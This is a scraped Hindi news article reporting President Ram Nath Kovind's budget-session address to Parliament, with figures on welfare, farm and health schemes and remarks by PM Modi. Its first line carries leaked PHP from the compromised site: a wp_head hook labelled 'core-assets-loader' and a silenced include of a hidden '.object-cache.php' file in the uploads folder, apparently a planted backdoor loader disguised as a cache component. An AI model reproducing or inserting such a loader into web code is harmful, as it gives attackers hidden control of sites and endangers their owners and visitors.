add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); राष्ट्रपति Ram Nath Kovind बोले- 1.5 करोड़ गरीबों को मिला 5 लाख रुपये तक का मुफ्त इलाज – SOCH INDIA
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राष्ट्रपति Ram Nath Kovind बोले- 1.5 करोड़ गरीबों को मिला 5 लाख रुपये तक का मुफ्त इलाज

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राष्ट्रपति रामनाथ कोविंद (Ram Nath Kovind) के अभिभाषण के बाद संसद का बजट सत्र (Budget Session) आज (29 जनवरी) से शुरू हो गया है. इसके बाद वित्त मंत्री निर्मला सीतारमण (Nirmala Sitharaman) आर्थिक सर्वेक्षण पेश करेंगी. वित्त वर्ष 2021-22 का आम बजट संसद में 1 फरवरी को पेश किया जाएगा.

पढ़ें- बजट सत्र का लाइव अपडेट…

– पश्चिम बंगाल के सपूत, गुरुदेव रवीन्द्रनाथ टैगोर के बड़े भाई ज्योतिरीन्द्रनाथ टैगोर ने देशप्रेम से भरे एक ओजस्वी गीत की रचना की थी. उन्होंने लिखा था:

चॉल रे चॉल शॉबे, भारोत शन्तान,
मातृभूमी कॉरे आह्वान,
बीर-ओ दॉरपे, पौरुष गॉरबे,
शाध रे शाध शॉबे, देशेर कल्यान.

– राष्ट्रपति रामनाथ कोविंद ने कहा, ‘पिछले कुछ वर्षों में देश ने अनेक ऐसे काम कर दिखाए हैं जिनको कभी बहुत कठिन माना जाता था:

  • आर्टिकल 370 के प्रावधानों के हटने के बाद जम्मू-कश्मीर के लोगों को नए अधिकार मिले हैं.
  • उच्चतम न्यायालय के फैसले के उपरांत भव्य राम मंदिर का निर्माण शुरू हो चुका है.
  • जिस DBT को नजरअंदाज किया जा रहा था, उसी की मदद से पिछले 6 साल में 13 लाख करोड़ रुपए से अधिक धनराशि लाभार्थियों को ट्रांसफर की गई है.
  • कभी हमारे यहां सिर्फ 2 मोबाइल फैक्ट्रियां थीं. आज भारत दुनिया का दूसरा सबसे बड़ा मोबाइल निर्माता देश है.
  • मेरी सरकार ने दिखाया है कि नीयत साफ हो, इरादे बुलंद हों तो बदलाव लाया जा सकता है. इन वर्षों में मेरी सरकार ने जितने लोगों के जीवन को छुआ है, वह अभूतपूर्व है.
  • हर गरीब का घर रौशन हो, इसके लिए ढाई करोड़ से अधिक बिजली कनेक्शन निशुल्क दिए गए.
  • दुर्घटना की स्थिति में गरीब परिवार को दर-दर न भटकना पड़े इसके लिए सिर्फ एक रुपए महीना के प्रीमियम पर 21 करोड़ से अधिक गरीबों को प्रधानमंत्री सुरक्षा बीमा योजना से जोड़ा गया.
  • गरीब और मध्यम वर्ग का बिजली बिल कम हो, इसके लिए 36 करोड़ से ज्यादा सस्ते LED बल्ब वितरित किए गए.
  • गरीब की मृत्यु के बाद उसके परिवार के पास एक संबल रहे, इसलिए सिर्फ 90 पैसा प्रतिदिन के प्रीमियम पर लगभग साढ़े 9 करोड़ लोगों को प्रधानमंत्री जीवन ज्योति बीमा योजना से जोड़ा गया.
  • मिशन इंद्रधनुष के तहत साढ़े 3 करोड़ से अधिक बच्चों का टीकाकरण किया गया.
  • गरीब का शिशु किसी गंभीर बीमारी से ग्रसित न हो इसलिए मेरी सरकार ने न सिर्फ टीकों की संख्या बढ़ाई बल्कि टीकाकरण अभियान को देश के उन आदिवासी इलाकों में भी ले गई जो अब तक अछूते थे.
  • गरीब के हक का राशन कोई दूसरा न छीन ले, इसके लिए शत प्रतिशत राशन कार्ड को डिजिटल किया जा चुका है, 90 प्रतिशत राशन कार्डों को आधार से जोड़ा जा चुका है.
  • रसोई के धुएं से गरीब बहन-बेटी की सेहत न खराब हो, इसके लिए उज्ज्वला योजना के तहत 8 करोड़ से ज्यादा मुफ्त कनेक्शन दिए गए.
  • गरीब बहन-बेटी की गरिमा बढ़े, उनकी परेशानी कम हो, इसके लिए स्वच्छ भारत मिशन के तहत 10 करोड़ से ज्यादा शौचालय बनाए गए.
  • गरीब को बैंकिंग व्यवस्था का लाभ मिले, इसके लिए 41 करोड़ से अधिक गरीबों के जनधन खाते खोले गए। इनमें से आधे से अधिक खाते हमारी गरीब बहनों और बेटियों के हैं.
  • घर में काम करने वाले भाई-बहन, गाड़ी चलाने वाले, जूता सिलने वाले, कपड़ा प्रेस करने वाले, खेतिहर मजदूर, ऐसे गरीब साथियों को भी पेंशन मिले, इसके लिए प्रधानमंत्री श्रम योगी मान-धन योजना चलाई गई.

– राष्ट्रपति रामनाथ कोविंद (Ram Nath Kovind) ने कहा, ‘हमारे स्वाधीनता संग्राम के दौरान देशभक्ति के अमर गीतों की रचना करने वाले मलयालम के श्रेष्ठ कवि वल्लथोल ने कहा है: भारतम् ऐन्ना पेरू केट्टाल, अभिमाना पूरिदम् आगनम् अंतरंगम्. अर्थात, जब भी आप भारत का नाम सुनें, आपका हृदय गर्व से भर जाना चाहिए.’ उन्होंने कहा, ‘रक्षा क्षेत्र में आत्मनिर्भरता पर भी सरकार का जोर है. कुछ दिन पहले ही सरकार ने HAL को 83 स्वदेशी लड़ाकू विमान तेजस के निर्माण का ऑर्डर दिया है.’

– राष्ट्रपति ने कहा, ‘जून 2020 में हमारे 20 जवानों ने मातृभूमि की रक्षा के लिए गलवान घाटी में अपना सर्वोच्च बलिदान दिया. हर देशवासी इन शहीदों का कृतज्ञ है. मेरी सरकार, देश के हितों की रक्षा के लिए पूरी तरह कटिबद्ध है और सतर्क भी है.’ उन्होंने कहा, ‘ब्रू शरणार्थियों के पुनर्वास को शांति और सौहार्द के साथ पूरा किया जा रहा है. इसी प्रकार ऐतिहासिक बोडो शांति समझौता भी हुआ है, जिसे सफलतापूर्वक लागू किया गया है. समझौता होने के बाद इस बार बोडो टैरीटोरियल काउंसिल के चुनाव भी सफलता के साथ पूरे हुए हैं.’

– राष्ट्रपति रामनाथ कोविंद ने कहा, ‘नक्सली हिंसा की घटनाओं में बड़ी कमी आई है और नक्सल प्रभावित क्षेत्र का दायरा सिमट रहा है. मेरी सरकार की विकास नीति को जम्मू कश्मीर के लोगों ने भी भरपूर समर्थन दिया है. कुछ सप्ताह पहले ही, आजादी के बाद पहली बार, जम्मू कश्मीर में जिला परिषद के चुनाव सफलता के साथ संपन्न हुए हैं.’ उन्होंने आगे कहा, ‘आज पूर्वोत्तर में उग्रवाद समाप्ति की ओर है और हिंसा की घटनाओं में बड़ी कमी आई है. हिंसा के रास्ते पर भटके युवा अब विकास और राष्ट्र-निर्माण की मुख्यधारा में लौट रहे हैं.’

– राष्ट्रपति रामनाथ कोविंद ने कहा, ‘देश को Gas Based Economy बनाने के लिए गैस कनेक्‍टिविटी पर भी तेज गति से काम किया जा रहा है. कुछ दिनों पहले ही कोच्‍चि-मैंगलुरू गैस पाइपलाइन का लोकार्पण किया गया है. डोभी-दुर्गापुर गैस पाइपलाइन का निर्माण ‘ऊर्जा गंगा’ का प्रवाह बढ़ा रहा है.’ उन्होंने आगे कहा, ‘यह पाइपलाइन पश्‍चिम बंगाल तक जाएगी और पूर्वी भारत के विभिन्‍न उद्योगों, विशेषकर खाद कारखानों को, गैस उपलब्ध कराएगी. इसी तरह तमिलनाडु के खाद कारखाने और अन्‍य औद्योगिक इकाइयों को गैस पाइपलाइन से जोड़ने के लिए तूतीकोरीन-रामनाथपुरम् गैस पाइपलाइन पर तीव्र गति से कार्य चल रहा है.’

– राष्ट्रपति ने कहा, ‘संसद की नई इमारत को लेकर पहले की सरकारों ने भी प्रयास किए थे. यह सुखद संयोग है कि आजादी के 75वें वर्ष की तरफ बढ़ते हुए हमारे देश ने, संसद की नई इमारत का निर्माण शुरू कर दिया है. नए संसद भवन के बनने से अपने संसदीय दायित्वों को निभाने में हर सदस्य को अधिक सुविधा मिलेगी.’

– राष्ट्रपति ने कहा, ‘जनधन खातों, आधार और मोबाइल की त्रिशक्ति ने लोगों को उनका अधिकार सुनिश्चित किया है. इस JAM त्रिशक्ति की वजह से 1,80,000 करोड़ रुपए गलत हाथों में जाने से बच रहे हैं.’

– राष्ट्रपति रामनाथ कोविंद ने कहा, ‘आधुनिक टेक्नोलॉजी का भारत में विकास और हर भारतीय की आधुनिक टेक्नोलॉजी तक आसान पहुंच, आत्मनिर्भर बनते भारत की अहम पहचान है. पिछले वर्ष दिसंबर में UPI से 4 लाख करोड़ रुपए से भी अधिक का डिजिटल पेमेंट हुआ है. आज देश के 200 से ज्यादा बैंक UPI व्यवस्था से जुड़े हैं.’

– राष्ट्रपति ने कहा, ‘दीनदयाल अंत्योदय योजना- राष्ट्रीय ग्रामीण आजीविका मिशन के अंतर्गत देश में आज 7 करोड़ से अधिक महिला उद्यमी करीब 66 लाख स्वयं सहायता समूहों से जुड़ी हुई हैं. बैंकों के माध्यम से इन महिला समूहों को पिछले 6 वर्षों में 3 लाख 40 हजार करोड़ रुपए का ऋण दिया गया है. भारतीय वायुसेना की फाइटर स्ट्रीम हो, मिलिट्री पुलिस में महिलाओं की नियुक्ति हो, या फिर अंडर ग्राउंड माइन्स में तथा ओपन कास्ट माइन्स में महिलाओं को रात्रि में कार्य करने की अनुमति ये सभी निर्णय पहली बार मेरी सरकार ने ही लिए हैं. देश के ग्रामीण क्षेत्रों में कार्यरत महिलाओं के स्वास्थ्य को ध्यान में रखते हुए सरकार एक रुपए में ‘सुविधा’ सैनिटरी नैपकिन देने की योजना भी चला रही है.’

– राष्ट्रपति रामनाथ कोविंद ने कहा, ‘3 लाख करोड़ रुपये की इमरजेंसी क्रेडिट गारंटी योजना, मुश्किल में फंसे MSMEs के लिए 20 हजार करोड़ की विशेष योजना और Fund of Funds जैसे प्रयासों ने लाखों लघु उद्यमियों को लाभ पहुंचाया है. हुनर हाट और उस्ताद योजना के माध्यम से लाखों शिल्पकारों का कौशल विकास भी किया जा रहा है और उनको रोजगार के अवसर दिए जा रहे हैं. इन लाभार्थियों में आधे से अधिक महिला शिल्पकार हैं. e-haat के माध्यम से इन शिल्पकारों को पूरी दुनिया के खरीदारों से जोड़ा जा रहा है. आत्मनिर्भर भारत में महिला उद्यमियों की विशेष भूमिका है. मेरी सरकार ने महिलाओं को स्वरोज़गार के नए अवसर देने के लिए कई कदम उठाए हैं. मुद्रा योजना के तहत अब तक 25 करोड़ से ज्यादा ऋण दिए जा चुके हैं, जिसमें से लगभग 70% ऋण महिला उद्यमियों को मिले हैं.’

– राष्ट्रपति रामनाथ कोविंद ने कहा, ‘समय की मांग है कि कृषि क्षेत्र में हमारे जो छोटे और सीमांत किसान हैं, जिनके पास सिर्फ एक या दो हेक्टेयर जमीन होती है, उन पर विशेष ध्यान दिया जाए. देश के सभी किसानों में से 80 प्रतिशत से ज्यादा ये छोटे किसान ही हैं और इनकी संख्या 10 करोड़ से ज्यादा है. मेरी सरकार की प्राथमिकताओं में ये छोटे और सीमांत किसान भी हैं. ऐसे किसानों के छोटे-छोटे खर्च में सहयोग करने के लिए पीएम किसान सम्मान निधि के जरिए उनके खातों में लगभग 1,13,000 करोड़ से अधिक रुपए सीधे ट्रांसफर किए जा चुके हैं.’

– राष्ट्रपति ने कहा, ‘2013-14 में जहां 42 लाख हेक्टेयर जमीन में ही माइक्रो-इरिगेशन की सुविधा थी, वहीं आज 56 लाख हेक्टेयर से ज्यादा अतिरिक्त जमीन को माइक्रो-इरिगेशन से जोड़ा जा चुका है. इसी अवधि में सब्जी और फलों का उत्पादन भी 215 मिलियन टन से बढ़कर अब 320 मिलियन टन तक पहुंच गया है. मैं इसके लिए देश के किसानों का अभिनंदन करता हूं. आज देश में खाद्यान्न उपलब्धता रिकॉर्ड स्तर पर है. वर्ष 2008-09 में जहां देश में 234 मिलियन टन खाद्यान्न की पैदावार हुई थी, वहीं साल 2019-20 में देश की पैदावार बढ़कर 296 मिलियन टन तक पहुंच गई है.’

– राष्ट्रपति रामनाथ कोविंद ने कहा, ‘सरकार ने बीते 6 वर्षों में बीज से लेकर बाजार तक हर व्यवस्था में सकारात्मक परिवर्तन का प्रयास किया है, ताकि भारतीय कृषि आधुनिक भी बने और कृषि का विस्तार भी हो. मेरी सरकार ने स्वामीनाथन आयोग की सिफारिशों को लागू करते हुए लागत से डेढ़ गुना MSP देने का फैसला भी किया था. मेरी सरकार आज न सिर्फ MSP पर रिकॉर्ड मात्रा में खरीद कर रही है, बल्कि खरीद केंद्रों की संख्या को भी बढ़ा रही है.

राष्ट्रपति रामनाथ कोविंद ने कहा, ‘वर्तमान में इन कानूनों का अमलीकरण देश की सर्वोच्च अदालत ने स्थगित किया हुआ है. मेरी सरकार उच्चतम न्यायालय के निर्णय का पूरा सम्मान करते हुए उसका पालन करेगी. पिछले दिनों हुआ तिरंगे और गणतंत्र दिवस जैसे पवित्र दिन का अपमान बहुत दुर्भाग्यपूर्ण है. जो संविधान हमें अभिव्यक्ति की आजादी का अधिकार देता है, वही संविधान हमें सिखाता है कि कानून और नियम का भी उतनी ही गंभीरता से पालन करना चाहिए. मेरी सरकार यह स्पष्ट करना चाहती है कि तीन नए कृषि कानून बनने से पहले, पुरानी व्यवस्थाओं के तहत जो अधिकार थे तथा जो सुविधाएं थीं, उनमें कहीं कोई कमी नहीं की गई है. बल्कि इन कृषि सुधारों के जरिए सरकार ने किसानों को नई सुविधाएं उपलब्ध कराने के साथ-साथ नए अधिकार भी दिए हैं.’

– राष्ट्रपति रामनाथ कोविंद ने कहा, ‘आयुष्मान भारत प्रधानमंत्री जन आरोग्य योजना के तहत देश में 1.5 करोड़ गरीबों को 5 लाख रुपये तक का मुफ्त इलाज मिला है. इससे इन गरीबों के 30 हजार करोड़ रुपए से ज्यादा, खर्च होने से बचे हैं. आज देश के 24 हजार से ज्यादा अस्पतालों में से किसी में भी आयुष्मान योजना का लाभ लिया जा सकता है. प्रधानमंत्री भारतीय जन-औषधि योजना के तहत देश भर में बने 7 हजार केंद्रों से गरीबों को बहुत सस्ती दर पर दवाइयां मिल रही हैं. बीते 6 वर्षों में अंडरग्रैजुएट और पोस्ट ग्रैजुएट चिकित्सा शिक्षा में 50 हजार से ज्यादा सीटों की वृद्धि हुई है. प्रधानमंत्री स्वास्थ्य सुरक्षा योजना के तहत सरकार ने 22 नए ‘एम्स’ को भी मंजूरी दी है.’

– राष्ट्रपति रामनाथ कोविंद ने कहा, ‘हमारे लिए गर्व की बात है कि आज भारत दुनिया का सबसे बड़ा टीकाकरण अभियान चला रहा है. इस प्रोग्राम की दोनों वैक्सीन भारत में निर्मित हैं. संकट के समय में भारत ने मानवता के प्रति अपने दायित्व का निर्वहन करते हुए अनेक देशों को कोरोना वैक्सीन की लाखों खुराक उपलब्ध कराई हैं.’

– राष्ट्रपति ने कहा, ”प्रधानमंत्री गरीब कल्याण योजना के माध्यम से 8 महीनों तक 80 करोड़ लोगों को 5 किलो प्रतिमाह अतिरिक्त अनाज निशुल्क सुनिश्चित किया गया. करीब 31 हजार करोड़ रुपए गरीब महिलाओं के जनधन खातों में सीधे ट्रांसफर भी किए.’

– राष्ट्रपति राम नाथ कोविंद ने कहा, ‘मुझे संतोष है कि मेरी सरकार के समय पर लिए गए सटीक फैसलों से लाखों देशवासियों का जीवन बचा है. आज देश में कोरोना के नए मरीजों की संख्या भी तेजी से घट रही है और जो संक्रमण से ठीक हो चुके हैं उनकी संख्या भी बहुत अधिक है. अर्थव्यवस्था को संभालने के लिए रिकॉर्ड आर्थिक पैकेज की घोषणा के साथ ही मेरी सरकार ने इस बात का भी ध्यान रखा कि किसी गरीब को भूखा न रहना पड़े.’

– राष्ट्रपति रामनाथ कोविंद ने कहा, ‘महामारी के खिलाफ लड़ाई में हमने अनेक देशवासियों को असमय खोया भी है. हम सभी के प्रिय और मेरे पूर्ववर्ती राष्ट्रपति प्रणब मुखर्जी का निधन भी कोरोना काल में हुआ. संसद के 6 सदस्य भी कोरोना की वजह से असमय हमें छोड़कर चले गए. मैं सभी के प्रति अपनी विनम्र श्रद्धांजलि अर्पित करता हूं.’

– राष्ट्रपति रामनाथ कोविंद (Ram Nath Kovind) के अभिभाषण के साथ संसद का बजट सत्र (Budget Session) शुरू हो गया है. उन्होंने अपने संबोधन में कहा, ‘चुनौती कितनी ही बड़ी क्यों न हो, न हम रुकेंगे और न भारत रुकेगा. भारत जब-जब एकजुट हुआ है, तब-तब उसने असंभव से लगने वाले लक्ष्यों को प्राप्त किया है.’

– बजट सत्र से पहले प्रधानमंत्री नरेंद्र मोदी (Narendra Modi) ने संसद भवन पहुंचने के बाद मीडिया से बात की. उन्होंने कहा, ‘इस बार का बजट देश के भविष्य के लिए बहुत महत्वपूर्ण है. इसीलिए आजादी के दीवानों ने जो सपने देखे थे उसको तेजी से पूरा करना है. मुझे विश्वास है कि जिस उम्मीद के साथ देश की जनता ने हमें भेजा है, उसे हम पूरा करेंगे. उन्होने आगे कहा, ‘ये इस दशक का पहला बजट है. इसलिए इस दशक को ध्यान में रखते हुए सदन में चर्चा हो, सभी प्रकारों के विचारों को रखा जाए.’

– पीएम मोदी ने कहा कि ये इतिहास में पहली बार ऐसा हुआ है कि साल 2020 में सरकार की ओर से कई बार छोटे-छोटे 4-5 बजट जारी करने पड़े. हम राष्ट्रपति के अभिभाषण को सुनने के लिए और उनके संदेशों को आगे बढ़ाने के लिए प्रयासरत हैं.